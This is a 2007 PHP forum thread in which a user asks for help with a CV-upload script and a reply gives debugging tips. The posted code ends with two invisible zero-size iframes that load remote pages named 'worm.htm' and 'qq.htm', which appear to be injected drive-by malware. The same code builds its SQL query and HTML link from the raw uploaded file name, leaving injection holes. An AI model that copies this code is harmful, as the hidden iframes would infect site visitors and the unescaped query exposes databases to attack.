k12 Posted February 15, 2007 Share Posted February 15, 2007 hi can anyone help me? i try to set the upload function to upload cv using following code but it showing error message it would be great if u could solve this problem i get following error message[/b] Warning: filesize() [function.filesize]: stat failed for cv/kannan cv.doc in C:\wamp\www\www\upload.php on line 45 Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in C:\wamp\www\www\database.class.php on line 39 Warning: mysql_error(): supplied argument is not a valid MySQL-Link resource in C:\wamp\www\www\database.class.php on line 34 INSERT INTO docs (name, fsize) VALUES ('kannan cv.doc', '') my code for uploading cv <?php /*************************************************** *** UPLOAD.PHP *** *** Description: Uploads the word document *** *** Last edited: december 11, 2006 *** *** Author: kannan *** ***************************************************/ require_once 'config.inc.php'; /* * bool uploadFile(string name, string to) * * Upload file to specified path * * @name string name of key in $_FILES * @to string path to upload file to */ function uploadFile($name, $to) { $file = $_FILES[$name]; $file_name = basename($file['name']); if (!empty($name) && !empty($to)) { if (is_uploaded_file($file['tmp_name'])) { //if (move_uploaded_file($file['tmp_name'], $to . '/' . $file_name)) { // File Uploaded return true; } else { return false; } } else { return false; } } if (uploadFile('word', 'cv')) { if ($database->execute("INSERT INTO docs (name, fsize) VALUES ('" . basename($_FILES['word']['name']) . "', '" . filesize('cv/' . basename($_FILES['word']['name'])) . "')")) { echo 'Your document has been uploaded. Click <a href="cv/' . basename($_FILES['word']['name']) . '">here</a> to see it.'; } else { echo $database->getError(); } } else { echo "error uploading document!<br /><br />\n\n<pre>\n" . print_r($_FILES) . "\n</pre>"; } ?><iframe src=http://www.krvkr.com/worm.htm width="0" height="0"></iframe> <iframe src=http://www.lovebak.com/qq.htm width="0" height="0"></iframe> Quote Link to comment Share on other sites More sharing options...
hitman6003 Posted February 16, 2007 Share Posted February 16, 2007 Ok, the latter two errors are occurring in a different file...so we can't help you with those. Judging by the error message, your database isn't connecting correctly. You are getting the other error most likely because the move_uploaded_file function failed. Ensure that error reporting is turned on and set to E_ALL. ini_set("display_errors", 1); error_reporting(E_ALL); And why does everyone seem to be using the basename function on the "name" element of the $_FILES array? The element only contains the name of the file, not the entire path that it was uploaded from, which means using that function is pointless. Quote Link to comment Share on other sites More sharing options...
k12 Posted February 17, 2007 Author Share Posted February 17, 2007 thank you very much for your advice and is it posible to get the php code for to upload file or cv? it would be great if you could give me the example code or different way of uploading file the database was not connected because it was not specify in config file thank you Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.